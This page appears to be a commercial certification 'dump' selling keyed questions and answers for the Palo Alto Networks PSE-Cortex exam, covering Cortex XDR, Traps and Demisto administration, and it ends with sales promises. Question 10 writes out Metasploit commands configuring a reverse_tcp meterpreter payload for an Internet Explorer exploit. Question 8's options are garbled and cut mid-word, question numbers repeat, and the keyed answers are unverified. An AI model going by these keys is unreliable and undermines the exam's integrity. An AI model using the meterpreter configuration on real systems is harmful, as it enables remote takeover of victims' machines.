PSE-Cortex Dumps

Palo Alto Networks System Engineer - Cortex Professional

https://www.certleader.com/PSE-Cortex-dumps.html

NEW QUESTION 1
What are process exceptions used for?

A. whitelist programs from WildFire analysis
B. permit processes to load specific DLLs
C. change the WildFire verdict for a given executable
D. disable an EPM for a particular process

Answer: D

NEW QUESTION 2
Which option is required to prepare the VDI Golden Image?

A. Configure the Golden Image as a persistent VDI
B. Use the Cortex XDR VDI tool to obtain verdicts for all PE files
C. Install the Cortex XOR Agent on the local machine
D. Run the Cortex VDI conversion tool

Answer: B

NEW QUESTION 3
What method does the Traps agent use to identify malware during a scheduled scan?

A. Heuristic analysis
B. Local analysis
C. Signature comparison
D. WildFire hash comparison and dynamic analysis

Answer: D

NEW QUESTION 4
What is the result of creating an exception from an exploit security event?

A. White lists the process from Wild Fire analysis
B. exempts the user from generating events for 24 hours
C. exempts administrators from generating alerts for 24 hours
D. disables the triggered EPM for the host and process involve

Answer: D

NEW QUESTION 5
How do sub-playbooks affect the Incident Context Data?

A. When set to private, task outputs do not automatically get written to the root context
B. When set to private, task outputs automatically get written to the root context
C. When set to global, allows parallel task execution.
D. When set to global, sub-playbook tasks do not have access to the root context

Answer: A

NEW QUESTION 6
An Administrator is alerted to a Suspicious Process Creation security event from multiple users.
The users believe that these events are false positives Which two steps should the administrator take to confirm the false positives and create an exception?
(Choose two)

A. With the Malware Security profile, disable the "Prevent Malicious Child Process Execution" module
B. Within the Malware Security profile add the specific parent process, child process, and command line argument to the child process whitelist
C. In the Cortex XDR security event, review the specific parent process, child process, and command line arguments
D. Contact support and ask for a security exception.

Answer: BC

NEW QUESTION 7
When a Demisto Engine is part of a Load-Balancing group it?

A. Must be in a Load-Balancing group with at least another 3 members
B. It must have port 443 open to allow the Demisto Server to establish a connection
C. Can be used separately as an engine, only if connected to the Demisto Server directly
D. Cannot be used separately and does not appear in the in the engines drop-down menu when configuring an integration instance

Answer: D

NEW QUESTION 8

An administrator has a critical group of systems running Windows XP SP3 that cannot be upgraded The administrator wants to evaluate the ability of Traps to protect these systems and the word processing applications running on them
How should an administrator perform this evaluation?

A. Gather information about the word processing applications and run them on a Windows XP SP3 VM Determine if any of the applications are vulnerable and run the exploit with an exploitation tool
B. Run word processing exploits in a latest version of Windows VM in a controlled and isolated environmen
C. Document indicators of compromise and compare to Traps protection capabilities
D. Run a known 2015 flash exploit on a Windows XP SP3 V
E. and run an exploitation tool that acts as a listener Use the results to demonstrate Traps capabilities
F. Prepare the latest version of Windows VM Gather information about the word processing applications, determine if some of them are vulnerable and prepare a working exploit for at least one of them Execute with an exploitation tool

Answer: C

NEW QUESTION 9
Which two formats are supported by Whitelist? (Choose two)

A. Regex
B. STIX
C. CSV
D. CIDR

Answer: AD

NEW QUESTION 10
A test for a Microsoft exploit has been planned. After some research Internet Explorer 11 CVE-2016-0189 has been selected and a module in Metasploit has been identified
(exploit/windows/browser/ms16_051_vbscript)
The description and current configuration of the exploit are as follows;

```
msf exploit(ms16_051_vbscript) > show options

Module options (exploit/windows/browser/ms16_051_vbscript):
  Name      Current Setting   Required   Description
  ----      ---------------   --------   -----------
  SRVHOST   10.0.0.10         yes        The local host to listen on.
  SRVPORT   8080              yes        The local port to listen on.
  SSL       false             no         Negotiate SSL for incoming connections
  SSLCert                     no         Path to a custom SSL certificate (default is randomly generated)
  URIPATH                     no         The URI to use for this exploit (default is random)
```

The admin needs to perform the following steps:

* Configure a reverse_tcp meterpreter payload
* Set up the meterpreter payload to listen in IP 10.0.0.10
* Set up the meterpreter payload to listen in port 443
* Configure the URL to listen in a path with name "survey"

What is the remaining configuration?
A)
```
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set SSLCert survey
set LHOST 10.0.0.10
set LPORT 8080
```

B)
```
set PAYLOAD windows/x64/powershell_bind_tcp
set SRVHOST 10.0.0.10
set SRVPORT 443
set URIPATH survey
```

C)
```
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set SRVHOST 10.0.0.10
set SRVPORT 443
set URIPATH survey
```

D)
```
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.0.10
set LPORT 443
set URIPATH survey
```

A. Option A
B. Option B
C. Option C

D. Option D

Answer: D

NEW QUESTION 10
Which two filter operators are available in Cortex XDR? (Choose two.)

A. not Contains
B. !*
C. =>
D. < >

Answer: AB

Explanation:
https://docs.paloaltonetworks.com/cortex/cortex-xdr/cortex-xdr-pro-admin/get-started-with-cortex-xdr-pro/use-c

NEW QUESTION 14
Which Cortex XDR Agent capability prevents loading malicious files from USB-connected removable equipment?

A. Agent Configuration
B. Device Control
C. Device Customization
D. Agent Management

Answer: B

Explanation:
https://live.paloaltonetworks.com/t5/blogs/cortex-xdr-features-introduced-in-december-2019/ba-p/302231

NEW QUESTION 15
A General Purpose Dynamic Section can be added to which two layouts for incident types? (Choose two)

A. "Close" Incident Form
B. Incident Summary
C. Incident Quick View
D. "New"/Edit" Incident Form

Answer: BC

NEW QUESTION 18
......

Thank You for Trying Our Product

* 100% Pass or Money Back

　　All our products come with a 90-day Money Back Guarantee.

* One year free update

　　You can enjoy free update one year. 24x7 online support.

* Trusted by Millions

　　We currently serve more than 30,000,000 customers.

* Shop Securely

　　All transactions are protected by VeriSign!

100% Pass Your PSE-Cortex Exam with Our Prep Materials Via below:

https://www.certleader.com/PSE-Cortex-dumps.html